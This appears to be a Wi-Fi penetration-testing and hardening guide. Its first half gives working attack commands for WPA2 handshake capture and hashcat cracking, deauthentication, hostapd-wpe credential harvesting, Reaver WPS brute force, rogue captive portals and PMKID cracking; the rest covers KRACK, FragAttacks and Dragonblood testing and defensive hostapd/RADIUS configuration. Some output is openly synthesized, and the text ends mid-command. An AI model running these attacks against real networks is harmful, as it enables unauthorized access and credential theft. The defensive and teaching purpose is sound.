What it does: airodump-ng passively records all frames to/from the target BSSID. --output-format pcapng preserves radiotap headers and frame metadata essential for hash extraction. When to use it: Initial reconnaissance and evidence-grade capture. Risks: Running without --bssid filter creates unmanageable files and may capture unintended traffic. Expected output: Station list populates; [ WPA2 ][ PSK ] in top-left security field.

Simulate authorized client association in lab (or wait for legitimate test client):

# Lab: Controlled deauthentication of owned test client (MAC known)
sudo aireplay-ng -0 2 -a 00:11:22:33:44:55 -c 00:AA:BB:CC:DD:EE wlan0

⚠️ Authorized, defensive use only. Deauthentication is legally indistinguishable from a denial-of-service attack. Production use requires explicit per-client authorization and change-control notification to avoid incident-response escalation.

Verify four-way handshake capture:

tcpdump -r /captures/lab_wpa2-01.capng -n | grep -E "(EAPOL|WPA)"
# Or visual check with aircrack-ng
aircrack-ng /captures/lab_wpa2-01.capng

Output fragment:

Reading packets, please wait...
                             BSSID              ESSID                 Encryption
   1  00:11:22:33:44:55  LAB_CORP_24           WPA (1 handshake)

Success indicator: 1 handshake minimum; 2-3 handshakes preferred for verification against packet loss.

Phase 2: Hash Extraction and Wordlist Optimization

# Extract hashcat-compatible hash (mode 22001 handles both 2500/16800 legacy)
hcxpcapngtool -o /hashes/lab_wpa2.hc22000 -E /hashes/essid_list /captures/lab_wpa2-01.capng

Build optimized wordlist from OSINT + target intelligence:

# Base corpus: likely construction patterns from scope interview
echo -e "Corp2024\nCorp2024!\nCorp2024WiFi\nCorp2024!WiFi\nCorp24WiFi" > /wordlists/seed.txt

# Expand with common mutations
hashcat --force /wordlists/seed.txt -r /usr/share/hashcat/rules/best64.rule --stdout | sort -u > /wordlists/expanded.txt

# Add target-specific terms (founded year, building names from public records)
cat >> /wordlists/expanded.txt <<EOF
AcmeCorp1998
Headquarters24
EOF

What it does: best64.rule applies 64 high-yield mutations (append/prepend numbers, case toggle, leetspeak). --stdout generates wordlist without attacking. When to use it: When password policy hints suggest predictable construction patterns. Risks: Over-expanded wordlists hurt GPU efficiency; deduplication is mandatory.

Phase 3: GPU Attack Execution

# Benchmark reference: RTX 4090 stock, hashcat current stable release
hashcat -b -m 22000 | tee /logs/benchmark_22000.txt

# Production attack with progress monitoring
hashcat -m 22000 -a 0 /hashes/lab_wpa2.hc22000 /wordlists/expanded.txt \
  -r /usr/share/hashcat/rules/leetspeak.rule \
  --status --status-timer=30 -o /cracked/lab_wpa2_cracked.txt

Realistic benchmark output (RTX 4090, synthesized from research context patterns):

Hashmode: 22000 - WPA-PBKDF2-PMKID+EAPOL (Iterations: 4095)

Speed.#1.........:  1234.5 kH/s (56.78ms) @ Accel:8 Loops:128 Thr:1024 Vec:1

Note: "Kernel exec timeout" warning is cosmetic; driver watchdog timers for display-attached GPUs do not affect hash calculation integrity.

Rule progression strategy:

Stage	Attack	Time Estimate	Indicators to Proceed
1	Straight dictionary (seed + expanded)	2-5 min	No hit, pattern suggests mutation
2	best64.rule	10-30 min	No hit, need deeper mutation
3	leetspeak.rule + d3ad0ne.rule	1-3 hrs	No hit, consider mask or custom rules
4	Mask attack (?u?l?l?l?l?d?d?d?s)	4-12 hrs	Exhausted; report resistance finding

Cracked output:

00:11:22:33:44:55:00:aa:bb:cc:dd:ee:Corp2024!WiFi

---

Scenario B: Enterprise 802.1X/EAP Assessment

Lab Target: RADIUS-backed network LAB_ENTERPRISE with PEAP-MSCHAPv2, certificate validation disabled (common misconfiguration). Authorization: explicit credential generation for test accounts testuser1/TestPass1! with domain LAB.LOCAL.

Credential Harvesting with hostapd-wpe

# Clone and build (verify current stable release compatibility)
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe/hostapd
make -C hostapd

# Configure rogue AP matching target parameters
cat > /etc/hostapd-wpe/hostapd-wpe.conf <<EOF
interface=wlan1
ssid=LAB_ENTERPRISE
channel=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
wpe_logfile=/logs/wpe_creds.log
EOF

sudo ./hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

What it does: hostapd-wpe operates a rogue AP advertising identical SSID; EAP handshake captures challenge/response pairs. When to use it: Testing client certificate-validation bypass and credential exposure. Risks: Any client auto-connecting without certificate pinning will leak hash; scope must strictly bound duration and SSID list.

Captured output fragment:

WPE: NETNTLM: User: LAB\testuser1
WPE: NETNTLM: Hash: testuser1:::1122334455667788:...
WPE: Credentials written to /logs/wpe_creds.log

Offline Recovery with AsLEAP

# AsLEAP for MSCHAPv2 challenge/response against known test dictionary
asleap -C 1122334455667788 -R aabbccddeeff00112233445566778899 \
  -W /wordlists/enterprise_corp.txt -S

# Or for authorized test credential verification
asleap -C 1122334455667788 -R aabbccddeeff00112233445566778899 \
  -K "TestPass1!"

Success indicator: password: TestPass1! confirms hash integrity. Production finding: "Certificate validation disabled allows trivial credential interception via any attacker-operated AP."

---

Scenario C: WPA3-SAE Downgrade and Side-Channel Analysis

Research context application: WPA3-Transition Mode (WPA2 + WPA3 simultaneous) creates downgrade surface documented in Dragonblood research (Vanhoef/Ronen, April 2019). Tool availability: DragonShift repository exists but maintenance status is uncertain—verify functionality against target firmware before reporting reliance.

Lab setup: Mixed-mode AP with firmware permitting transition; test client configured for WPA3-only preferred.

# Downgrade attack surface verification
# Step 1: Advertise transition mode in rogue beacon
# Step 2: Force client to WPA2 association (PMKID capture) or SAE side-channel

# With DragonShift (if functional) or manual:
# Capture SAE commit frames for timing/curve analysis
sudo iw dev wlan0 set freq 5180  # Channel 36, 5GHz common for WPA3
sudo tcpdump -i wlan0 -w /captures/sae_commit.pcap 'type mgt subtype auth'

⚠️ Authorized, defensive use only. Dragonblood techniques require physical proximity and active frame injection; unauthorized use violates multiple jurisdictions' computer access laws. Lab-only with owned AP firmware.

Analysis workflow (manual, tool-agnostic):

Step	Observation	Defensive Implication
1	Transition mode beacon in scan results	Report: "Network operates downgrade-capable mode"
2	Client associates WPA2 despite WPA3 availability	Client misconfiguration or AP mis-advertisement
3	SAE commit timing variance >50μs across password lengths	Side-channel exposure in firmware implementation
4	Curve point validation bypass	Critical: patch to validated SAE implementation

Caution per research context: No authoritative data on which vendor implementations patched specific Dragonblood variants. Test against exact firmware revision; do not generalize findings.

---

Scenario D: WPS Exploitation Timing Attack and PIN Brute-Force Optimization

Lab target: Aging test AP with WPS enabled, no lockout delay configured. Authorization: asset owner explicitly acknowledges destructive lockout risk.

Pin brute-force with Reaver optimization:

# Lab: Full speed with known-vulnerable firmware
sudo reaver -i wlan0 -b 00:11:22:33:44:66 -vv -K 1 -S -L

# Production (safer variant): Throttled, single PIN with immediate stop on lockout
sudo reaver -i wlan0 -b 00:11:22:33:44:66 -vv -d 30 -l 360 -g 5 -r 3:30

What it does: -K 1 enables Pixie Dust attack (nonce reuse vulnerability); -S uses small DH key for speed; -L ignores locked state (lab only). Production variant: -d 30 delays 30s between attempts; -l 360 locks session if AP locks out; -r 3:30 restarts every 3 attempts with 30s rest. Risks: WPS lockout disables legitimate user enrollment; production testing requires change-control window and user notification.

Timing optimization output:

[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] 90.45% complete @ 2019-04-01 12:34:56 (42 seconds/pin)

Optimization	Condition	Expected Impact
Pixie Dust (-K 1)	AP uses non-random nonce	Bypass brute-force entirely; ~seconds to recovery
Small DH (-S)	AP accepts 1-byte public key	3x speedup on weak implementations
PIN ordering by probability	All targets	Prioritize 1234xxxx and 0000xxxx manufacturer defaults
Null PIN (-p '')	Specific firmware families	Instant recovery on known-broken implementations

---

Scenario E: Rogue AP and Captive Portal Assessment

Purpose: Measure user susceptibility to credential re-entry on fake portal; authorized with HR/Security awareness program coordination.

Lab construction:

# Hostapd for open rogue AP
sudo hostapd /etc/hostapd/rogue_open.conf

# DNS redirection and captive portal
sudo dnsmasq -C /etc/dnsmasq.captive.conf  # All queries -> portal IP
sudo iptables -t nat -A PREROUTING -i wlan2 -p tcp --dport 80 -j DNAT --to 192.0.2.10:80

# Logging portal submissions (hashed for privacy compliance)
sudo python3 /scripts/captive_logger.py --hash-salt $(cat /secrets/salt.bin) --output /logs/captive_hashed.json

Critical authorization boundary: Portal must not actually collect usable credentials. Hash with per-test salt; decrypt impossible without salt destruction. Report aggregate statistics only: "47% of test users entered credentials on first encounter; 12% on repeated exposure."

---

Documentation and Reporting: Evidence Chain of Custody

Phase	Action	Documentation
Pre-test	Scope letter, asset inventory, test account generation	Signed authorization, SHA256 of original scope PDF
Execution	Each command timestamped, output captured	script or asciinema session recording; sha256sum of all pcap files
Transfer	Evidence to report author	Write-once media or signed git commit; chain-of-custody log entry
Analysis	Hash extraction, cracking attempts	Documented rule progression, benchmark reference, negative results
Reporting	Finding write-up, risk scoring	Original evidence archived; report contains derived data only

Common mistakes in evidence handling:

Mistake	Why it bites you
Merging pcap files with mergecap before hash extraction	EAPOL frame timing corrupted; handshake validation fails
Running aircrack-ng directly on live capture	Overwrites file with processed data; destroys raw evidence
No benchmark documentation for "unbreakable" finding	Defense counsel or audit challenges methodology; cannot reproduce
Screenshots instead of searchable logs	OCR errors, missing metadata, unverifiable timestamps
Using production credentials in lab crack	Credential cross-contamination; policy violation if reported

Pre-engagement checklist:

• [ ] Written authorization specifies SSID list, BSSID list, time window, prohibited techniques
• [ ] Lab network physically isolated or VLAN-segmented from production
• [ ] Test accounts generated; no production credentials used in any attack
• [ ] Evidence storage encrypted at rest; access logged
• [ ] airodump-ng filter confirmed (--bssid or --essid) before capture start
• [ ] Deauthentication explicitly authorized per target MAC, or disabled in configuration
• [ ] WPS lockout: stakeholder acknowledges recovery procedure if triggered
• [ ] Report deadline allows for peer review of evidence integrity

A hashcat benchmark without the matching capture integrity check is theatre, not assurance. The sysadmin who skips capng validation to "save time" will rerun the entire engagement when the handshake turns out to be a zero-frame artifact from channel hopping.

Further reading

• GitHub - jabbaw0nky/DragonShift: A tool for automating WPA3-Transition Mode Downgrade Attack also known as Dragonblood Vulnerability · GitHu
• Hashcat v6.2.6 benchmark on the Nvidia RTX 4090 · GitHub

KRACK and Fast Transition: Replaying the Handshake

The Key Reinstallation Attack (KRACK) exploits WPA2's 4-way handshake not through cryptographic breakage, but by manipulating the state machine itself. When a supplicant receives message 3 of the handshake, it installs the Pairwise Temporal Key (PTK) and resets the nonce counter to zero. An attacker operating a channel-based man-in-the-middle retransmits this message 3; the client, obeying the 802.11 state diagram, reinstalls the same PTK and resets the nonce.

The mathematics are bluntly effective. WPA2's CCMP mode uses AES in counter mode: Ciphertext = Plaintext ⊕ AES(Key, Nonce || Counter). Reusing (Key, Nonce) with different plaintexts yields: C₁ ⊕ C₂ = P₁ ⊕ P₂. The keystream cancels out. An attacker who knows or can guess one plaintext—common protocol headers, predictable DHCP requests—recovers the other in full.

Fast Transition (802.11r) compounds this by caching PMK-R0/PMK-R1 keys across APs. The FT handshake skips the 4-way exchange entirely, using a single authentication frame. KRACK's FT variant reinstalls the key during reassociation, achieving nonce reset in a single round trip rather than requiring the full message-3 retransmission dance.

Lab verification using maintained test tools:

# Clone and run KRACK vulnerability assessment (defensive testing only)
git clone https://github.com/vanhoefm/krackattacks-scripts.git
cd krackattacks-scripts/krackattack/
# Requires compatible NIC in monitor mode; see repo documentation for chipset requirements

# Test client susceptibility to key reinstallation (passive observation + targeted retransmission)
python2 krack-test-client.py --help

What it does: Evaluates whether a client or AP properly detects and rejects replayed handshake messages. The script operates as a rogue AP with channel MitM, recording whether the victim reinstalls keys on forced retransmission. When to use it: Pre-deployment hardware validation, post-patch regression testing, incident response to confirm suspected nonce-reuse events. Risks: The test involves creating a functional rogue AP; isolate to RF-shielded lab or dedicated VLAN to prevent accidental client capture. Expected output: [+] Client is vulnerable to key reinstallation attacks or [-] Client rejected retransmitted message 3; the latter indicates patched behavior where the client tracks message-3 reception state and ignores duplicates.

Patched behavior: Clients must track whether message 3 has already been received and processed; duplicates must be dropped before key installation. Windows and iOS implemented this statefully; many Linux distributions required wpa_supplicant 2.6+ with explicit flags. The patch does not change the protocol—it narrows the implementation window.

Common mistakes	Why it bites you
Testing only with AP-side tools	Client-side key reinstallation is the critical path for data decryption; AP-side compromise only poisons downstream
Using outdated wpa_supplicant builds	Pre-2.6 versions lack the handshake state machine fix; distribution packages may lag
Ignoring FT/802.11r in enterprise deployments	FT is enabled by default on many enterprise controllers; the attack path is faster than base KRACK
Assuming AES-CCMP safety	Nonce reuse breaks CTR mode catastrophically regardless of AES key strength

---

FragAttacks: Design Flaws in Fragment Reassembly

FragAttacks (CVE-2020-24586, CVE-2020-24587, CVE-2020-24588) expose that 802.11's fragmentation and aggregation mechanisms were specified without security context. The standard does not mandate clearing fragment queues on client disconnection/reconnection. A device reconnecting to an attacker-controlled network finds stale fragments in memory; injected fragments can be concatenated with legitimate ones, or an attacker can forge a complete packet using only sequence number overlap.

The reassembly bug operates below WPA2/WPA3 encryption boundaries. An attacker sends fragments that, when combined with queued memory, form a valid frame that the upper stack interprets as plaintext or as passing integrity checks. Because the 802.11 MAC fragments occur before decryption and reassembly, upper-layer protections (IPsec, TLS, application encryption) see a single "valid" frame they cannot attribute to malicious composition.

Three sub-classes matter operationally:

• Aggregation attack: A-MSDU frames carry an "is first/last" subframe flag. The standard's optional A-MSDU-in-A-MPDU permits injecting an A-MSDU where the receiver treats attacker-controlled payload as belonging to an encrypted session.
• Mixed plaintext/encrypted fragment reassembly: If the first fragment is plaintext and the second encrypted, some implementations combine them, decrypting only the second portion and passing the combined result upward.
• Large frame injection: Reassembled frames exceed typical MTU bounds, overflowing buffer assumptions in network stacks.

Defensive testing:

# FragAttacks test suite — evaluates client and AP implementations
git clone https://github.com/vanhoefm/fragattacks.git
cd fragattacks/research/

# Build test firmware for supported USB NICs (ath9k_htc, mt76, etc.)
# See repo README for firmware compatibility; not all chipsets expose raw injection
make

# Example: Test fragment reassembly behavior after simulated reconnection
# This requires two radios: one for legitimate AP, one for injection
python3 fragattack.py --ap --iface wlan0 --test test-reassembly

What it does: Injects crafted fragment sequences and monitors whether the target reassembles them into frames passed to the upper stack. Tests cover both the "forget to clear memory" variant and the "mixed plaintext/encrypted" variant. When to use it: Firmware validation for IoT deployments, access point vendor security evaluations, confirming that "WPA3 certified" devices actually handle fragments safely. Risks: Some tests crash vulnerable target devices; never run against production infrastructure without maintenance windows and crash recovery plans. Expected output: VULNERABLE: reassembled injected fragment or NOT VULNERABLE: fragment dropped; the latter indicates patched behavior where fragment queues are explicitly cleared on state transitions and non-consecutive fragments are rejected.

Patched behavior requires three independent fixes: clearing fragment queues on (re)connection, requiring encrypted fragments to follow encrypted fragments exclusively, and bounding reassembled frame sizes. The specification-level vulnerability means patches are implementation-dependent; no protocol revision has yet prohibited the dangerous constructions entirely.

---

Dragonblood and WPA3-SAE Side-Channels

WPA3's Simultaneous Authentication of Equals (SAE), also called Dragonfly, was designed as a PAKE resistant to offline dictionary attacks. The protocol uses a hunting-and-pecking loop to convert a password to a curve point, then performs a Diffie-Hellman-style exchange with static-password-derived masks.

Dragonblood attacks (Vanhoef/Ronen, Black Hat USA 2019) demonstrated that this design, when implemented, leaks through timing and cache side-channels. The hunting-and-pecking loop's iteration count depends on password bytes; measuring execution time or cache access patterns reveals password information. The attacks are not against the Dragonfly mathematics but against the program that computes it.

Operationally, two paths exist:

• Timing attack: The loop takes variable iterations to find a valid curve point. A remote attacker measures SAE response times across multiple commit messages, statistically recovering the password.
• Cache attack: In multi-user or virtualized environments, an unprivileged process monitors cache lines touched during the hunting-and-pecking loop, reconstructing secret state.

The cache-side variant is particularly pernicious for enterprise EAP-pwd deployments where RADIUS servers handle authentication at scale—an attacker with any user-level access on the authentication host can attack all concurrent SAE sessions.

Detection-oriented analysis of SAE timing:

# No public exploit release exists; detection relies on statistical timing analysis
# Capture SAE commit frames and measure response timing variance

# Example with tshark for frame extraction, then statistical analysis
tshark -r capture.pcap -Y "wlan.fc.type_subtype == 11" -T fields \
  -e frame.time_relative -e wlan.sa -e wlan.da \
  -E header=y > sae_commits.csv

# Analyze with Python/scipy for timing variance by source
python3 -c "
import pandas as pd, scipy.stats as stats
df = pd.read_csv('sae_commits.csv')
# Group by source address, test for uniform response distribution
for src, group in df.groupby('wlan.sa'):
    _, p = stats.kstest(group['frame.time_relative'].diff().dropna(), 'uniform')
    print(f'{src}: uniformity p-value = {p:.4f}')
"

What it does: Extracts SAE commit frame timestamps and tests whether response timing follows a uniform distribution (expected for constant-time implementations) or shows structure (indicating variable-time hunting-and-pecking). When to use it: Vendor security assessment of WPA3 AP firmware, EAP-pwd RADIUS server hardening verification. Risks: Timing analysis requires controlled network conditions; congested channels produce false structure. Run during low-utilization periods or isolated RF environments. Expected output: High p-values (>0.05) suggest constant-time behavior; clustered low p-values across multiple sources indicate implementation-side timing leaks.

Formal verification work (EuroS&P 2023, "Dragondoom") has since proven correct constant-time implementations exist, but certification does not mandate them. A "WPA3 certified" label guarantees protocol compliance, not side-channel resistance. Ask vendors specifically for constant-time SAE implementations with cache-line-safe hunting-and-pecking.

---

PMKID Capture: RSN IE Without Client Association

The PMKID capture attack (Hashcat mode 16800/16801) extracts the PMKID from RSN Information Elements in AP beacon and probe response frames. The PMKID is HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA). For a known STA MAC (the attacker's own), this reduces to cracking the PMK directly—no 4-way handshake capture, no client association required.

The attack's efficiency depends on AP configuration. Many enterprise controllers and consumer routers enable FT over-the-air or FT over-the-DS, which pre-compute PMKID for fast roaming. The RSN IE broadcasts this value unencrypted. A single capture frame suffices for offline PMK cracking, bypassing the traditional EAPOL 4-way requirement entirely.

# Lab: Capture PMKID with hcxdumptool
# Requires compatible monitor-mode NIC (check latest release for chipset support)

hcxdumptool -i wlan0mon -o capture.pcapng --active_beacon --enable_status=95

# In parallel or subsequently, filter for PMKID-containing frames
hcxpcapngtool -o hash.16800 capture.pcapng

# Crack with hashcat if capture succeeded (lab-only password testing)
hashcat -m 16800 hash.16800 -a 3 -w 3 '?l?l?l?l?l?l?l?l'

What it does: hcxdumptool sends probe requests and captures responses containing RSN IE; hcxpcapngtool extracts PMKID hashes into Hashcat-compatible format. When to use it: Audit whether your APs expose PMKID to unassociated stations; verify that okc (Opportunistic Key Caching) and ft_psk_generate_local configurations do not leak crackable material. Risks: Active probing with hcxdumptool can disrupt client associations; the --active_beacon flag generates noise on the channel. Lab variant: Use directional antenna, short duration, dedicated test AP. Production variant: Passive observation with airodump-ng --write over extended period, no injected probes. Expected output: PMKID written to hash.16800 indicates vulnerable AP configuration; no PMKID in output suggests RSN IE omits the field or requires association first.

Mitigation: Disable ft_over_the_air and ft_over_the_ds if not required; configure pmk_r1_push to avoid pre-deriving PMKID for unauthenticated STAs; filter RSN IE in beacon frames to exclude PMKID for unassociated clients (implementation-dependent, check vendor documentation).

---

KARMA, MANA, and Proactive Probing Exploitation

Clients configured with hidden SSIDs or preferred network lists (PNL) send directed probe requests containing SSID names in plaintext. KARMA attacks respond to all directed probes with matching beacon, tricking the client into auto-associating. MANA extends this by prioritizing responses based on observed probe frequency—attacking the most-mobile, most-desperate clients first.

The core protocol failure: probe requests are unauthenticated and unencrypted. A client cannot distinguish legitimate home network revival from malicious impersonation. Even WPA3-SAE does not fix this; the SSID is exposed before any SAE exchange begins.

Detection requires monitoring your own client behavior:

# Identify if client devices are probe-leaking your corporate or home SSIDs
airodump-ng wlan0mon --output-format csv -w probe_survey

# Analyze: look for your SSID in Probe Request rows, not just Beacons
grep -i "CorpNet" probe_survey-01.csv | head -5

What it does: Passively logs all probe requests within radio range. The output reveals whether devices advertise sensitive network names in plaintext. When to use it: BYOD security assessment, incident response to suspected evil twin deployments, pre-configuration hardening of mobile device fleets. Risks: Passive monitoring is low-risk; the concern is what you discover. If executives' laptops broadcast Boardroom-Secure or M&A-VPN, that is an actionable finding. Expected output: CSV rows with Probe Request type and ESSID field; your sensitive SSIDs appearing here indicate clients that will associate with any matching responder.

Hardening: Disable automatic connection to non-broadcast networks (netsh wlan set profileparameter name=CorpNet connectionMode=manual on Windows; remove PNL entries on macOS/iOS; NetworkManager auto_connect=FALSE on Linux). For enterprise: deploy 802.11u/Hotspot 2.0 with certificate-based network selection, eliminating SSID-based probing entirely.

---

Distance-Bounding, Relay, and NIC Firmware Considerations

Wi-Fi Time-of-Flight (ToF) and Fine Timing Measurement (FTM) protocols, specified in 802.11mc/az, enable ranging for indoor positioning. Relay attacks against these protocols are conceptually simple: a man-in-the-middle extends the RF path without adding detectable delay, making a distant attacker appear local. Distance-bounding protocols should prevent this by requiring rapid challenge-response exchanges where speed-of-light delays bound the maximum distance.

The protocol-specified countermeasure is cryptographically sound, but NIC firmware implementations rarely achieve the nanosecond-precision timing required. Firmware bugs in Qualcomm, Broadcom, and Intel chipsets have permitted relay extension beyond theoretical maximums by manipulating FTM request timestamps in driver-controlled fields before hardware processing.

Firmware and driver-level vulnerabilities extend beyond ranging. Fragment reassembly bugs in specific A-MPDU implementations (patched in Linux mac80211 over multiple cycles) allowed memory corruption because the hardware DMA descriptor ring and software SKB queue desynchronized. These are not protocol vulnerabilities but implementation vulnerabilities in the protocol path—unpatchable by standards revision, only by vendor action.

Verification checklist for firmware posture:

Check	Method	Failure indicator
FTM timestamp monotonicity	iw phy0 measurement ftm_request with local responder, compare reported ToF against physical distance	Reported distance varies >20% with fixed geometry
Fragment reassembly under load	fragattacks test-reassembly-stress with 1000+ fragment injections per second	Kernel oops or NIC reset in dmesg
Driver version against CVE database	ethtool -i wlan0 or modinfo mac80211, cross-reference with Linux wireless mailing list	Driver predates known fix commit without backport notation
SAE timing variance	Statistical test above, or hostapd build with -DWPA_TRACE for internal timing logs	Standard deviation >10% of mean response time

⚠️ Authorized, defensive use only. FTM manipulation and fragment stress testing can crash target devices or corrupt their wireless state. Execute only in isolated lab environments with serial console recovery access, or in explicitly authorized detection-validation exercises with documented scope.

The practical insight: protocol certification and CVE patching operate on different clocks. A device may be "WPA3 certified" and "KRACK patched" while remaining vulnerable to fragment reassembly crashes in firmware never audited by the certification program. The only reliable validation is direct testing of your specific hardware revision with maintained tools—trusting labels is a complacency that adversaries do not share.

Further reading

• krackattacks/index.html at gh-pages · vanhoefm/krackattacks · GitHub
• vanhoefm/krackattacks-scripts (stars 3506)
• vanhoefm/krackattacks (stars 1330)
• vanhoefm/fragattacks (stars 1287)

WPA3 Deployment and Downgrade Prevention

WPA3-Personal in transition mode exposes a critical vulnerability: it advertises both SAE and WPA2-PSK simultaneously, allowing clients to connect via the weaker handshake. The configuration must enforce PMF and restrict the downgrade window.

# hostapd.conf — WPA3-Personal transition mode with downgrade controls
interface=wlan0
ssid=CorpSecure
wpa=2
wpa_key_mgmt=SAE WPA-PSK
wpa_passphrase=legacy_for_transitional_clients_only
sae_password=high_entropy_sae_pmkid_resistant
ieee80211w=2              # 1=optional, 2=required — required blocks WPA2-only clients
sae_require_mfp=1
sae_pwe=2                 # hunting-and-pecking + hash-to-element, mitigates timing leaks

ieee80211w value	Effect	Downgrade risk
0	Disabled	PMF-capable clients may omit protection; trivial deauth possible
1	Optional	Client negotiates per-association; attacker forces "no PMF"
2	Required	Refuses non-PMF associations; breaks older clients intentionally

What it does: sae_pwe=2 enables both PWE derivation methods per WPA3 specification revision, closing side-channel timing attacks against sae_pwe=0 (hunting-and-pecking only). When to use it: All new WPA3 deployments; transition mode only while legacy clients are being inventoried and replaced. Risks: ieee80211w=2 will reject connections from clients with broken PMF implementations (certain Android 9 vendor skins, older Intel 7260 firmware). Expected output: hostapd -dd shows RSN: PMF required in association responses; rejected clients log STA refused due to PMF policy.

Verification that PMF is actually enforced, not merely configured:

# Lab: Capture association response to confirm PMF capability field
tshark -i wlan0mon -Y "wlan.fc.type_subtype==0x01" -T fields \
  -e wlan.rsn.capabilities.pmf -e wlan.tag.rsn.akm.suites

# Production: Passive audit of current associations
iw dev wlan0 station dump | grep -E "station|capability"

Realistic output interpretation:

aa:bb:cc:dd:ee:ff
    station capab: 0x3          # 0x2 bit = PMF capable, 0x1 bit = PMF required
f0:de:f1:2a:3b:4c
    station capab: 0x1          # Claims capable but not requiring — audit this client

The 0x1 value for the second client warrants investigation: it will accept associations without PMF if the AP advertises optional mode. Transition mode with ieee80211w=1 is exactly what an evil twin AP uses to harvest WPA2 handshakes.

Enterprise EAP Method Selection

The RADIUS EAP module loading order determines which methods are offered to supplicants. Weak methods must be explicitly removed, not merely deprioritized.

# /etc/freeradius/3.0/mods-enabled/eap — disable everything except TLS-based
eap {
    default_eap_type = tls
    tls-config tls-common {
        private_key_file = /etc/freeradius/3.0/certs/server.key
        certificate_file = /etc/freeradius/3.0/certs/server.pem
        ca_file = /etc/freeradius/3.0/certs/ca.pem
        dh_file = ${certdir}/dh
        verify {
            skip_if_ocsp = no
        }
    }
    # Explicitly disable: peap, ttls, md5, leap, pwd, gtc
    # Do not comment out — remove or set to 'disable = yes'
}

Method	Mutual auth	Channel binding	Downgrade risk	Verdict
EAP-TLS	Yes (cert+privkey)	Native via TLS	None	Baseline for high-assurance networks
PEAP-EAP-TLS	Yes	Nested TLS + inner TLS	PEAP phase allows MSCHAPv2 fallback if misconfigured	Only if supplicant locks inner method
EAP-TTLS	Server cert only	Optional inner	PAP/CHAP/MSCHAPv2 inner methods are credential-harvesting bait	Avoid — complexity without security gain
PEAP-MSCHAPv2	Server cert only	No	Credential relay trivial with Responder or Hostapd-WPE	Deprecated; equivalent to clear-text for motivated attacker

What it does: skip_if_ocsp = no forces OCSP stapling or direct OCSP verification; a missing response fails authentication rather than silently continuing. When to use it: Certificate-lifecycle automation is operational (OCSP responder reachable, CRL distribution points valid). Risks: OCSP responders become single points of failure; monitor with openssl ocsp -url $responder -issuer ca.pem -cert client.pem.

Production variant for certificate validation without OCSP dependency:

# Safer: CRL checking with local caching
crl_file = /etc/freeradius/3.0/certs/crl.pem
check_crl = yes
check_all_crl = yes

Supplicant-side pinning prevents evil twin RADIUS proxies:

# wpa_supplicant.conf — network block with CA pinning and server name check
network={
    ssid="CorpSecure-EAP"
    key_mgmt=WPA-EAP
    eap=TLS
    identity="user@corp.example"
    ca_cert="/etc/certs/corp-ca.pem"
    subject_match="/CN=radius01.corp.example"
    # Block any server presenting different CN or untrusted CA chain
    altsubject_match="DNS:radius01.corp.example;DNS:radius02.corp.example"
}

802.11w (PMF/MFP) Enablement and Client Reality

Vendor documentation claims PMF support; actual behavior diverges. The Windows 10/Surface Pro case—netsh wlan show profiles reports PMF support, yet association fails when PMF is required—indicates driver-level negotiation failure despite OS capability advertisement.

Client platform	Advertised PMF	Required PMF functional	Notes
Windows 10/11 (Intel AX200+)	Yes	Yes	Driver-dependent; 22.x PROSet required
Windows 10 (Surface Pro 2017, Marvell)	Yes	No	OS claims support, driver rejects required mode
macOS 12+	Yes	Yes	No known required-mode failures
iOS 14+	Yes	Yes
Android 10+ (AOSP)	Yes	Yes	Vendor skins may disable in firmware
Android 9 (Samsung Exynos)	Partial	No	wpa_supplicant compiled without PMF required
Embedded/IoT (various)	Uncommon	Rare	Industrial WiFi modules often omit 802.11w

Hard-won insight: A client associating successfully with ieee80211w=1 (optional) proves nothing about its PMF implementation. Test with ieee80211w=2, inventory failures, and maintain a hostapd.accept_mac allowlist for exceptions—tracked as technical debt with remediation dates.

Cisco IOS XE configuration (9800 series, 17.16.x track):

! Verify PMF operational state, not merely configured
wireless profile policy CorpSecure-Policy
 security wpa wpa2 wpa3
 security 802.11w
 security 802.11w pmf mandatory   ! Not optional, not default
 no security wps                  ! Explicit disable, not implicit absence

! Audit actual client capability advertisement
show wireless client summary detail | include PMF
show wireless client mac-address aa:bb:cc:dd:ee:ff detail | sec Capabilities

Network Segmentation Architecture

Wireless segmentation fails when VLAN hopping or AP management plane compromise bridges isolation. The architecture must assume AP breach.

[Internet] → [Firewall] → [Core L3 Switch]
                                |
            +-------------------+-------------------+
            |                   |                   |
        [WLC/Native]      [Wireless DMZ VLAN]   [Guest VLAN]
        (management)      (corporate SSID)        (captive portal)
            |                   |
        [RADIUS DMZ]      [Data VLAN 10]
        (auth backend)    (wired equivalent)

# hostapd with VLAN tagging per SSID, enforced at AP
vlan_file=/etc/hostapd.vlan
dynamic_vlan=2              # RADIUS-Assigned VLAN mandatory

# /etc/hostapd.vlan
*   wlan0.#
10  wlan0.10
20  wlan0.20

Segmentation layer	Control	Failure mode
SSID/VLAN mapping	AP config	Same-SSID VLAN override via RADIUS spoofing
RADIUS VLAN assignment	Auth backend	Compromised RADIUS → arbitrary VLAN placement
ACL between VLANs	L3 switch/firewall	Misconfigured native VLAN trunking
Guest isolation	AP client isolation + L2 ACL	IPv6 ND/RA bypasses IPv4-only ACLs

Guest isolation must block not merely unicast but multicast/broadcast discovery:

# Bridge-level isolation with multicast suppression
ebtables -A FORWARD -i wlan0-guest -o wlan0-guest -j DROP
ebtables -A FORWARD -p IPv6 --ip6-protocol ipv6-icmp -j DROP

WPS Disable Verification and Entropy Analysis

WPS PIN mode uses a static 8-digit code with checksum, yielding 10^7 effective combinations and online bruteforce feasible in hours. The "HACK ME" characterization is accurate: WPS was designed for pairing convenience with no threat model for physical proximity attackers.

# Verify WPS is absent from beacon and probe response, not merely disabled in UI
wash -i wlan0mon -C           # Monitor mode WPS detection

# Expected: target SSID absent from wash output
# Failure: SSID appears with "Locked" status — WPS present, temporarily throttled

PIN generation entropy audit for unavoidable WPS deployments (legacy IoT):

# Extract PIN from nvram/firmware for analysis
strings /dev/mtd0 | grep -E '^[0-9]{8}$' | while read pin; do
    checksum=$(( (10 - (3*$(echo $pin | cut -c1) + 1*$(echo $pin | cut -c2) + \
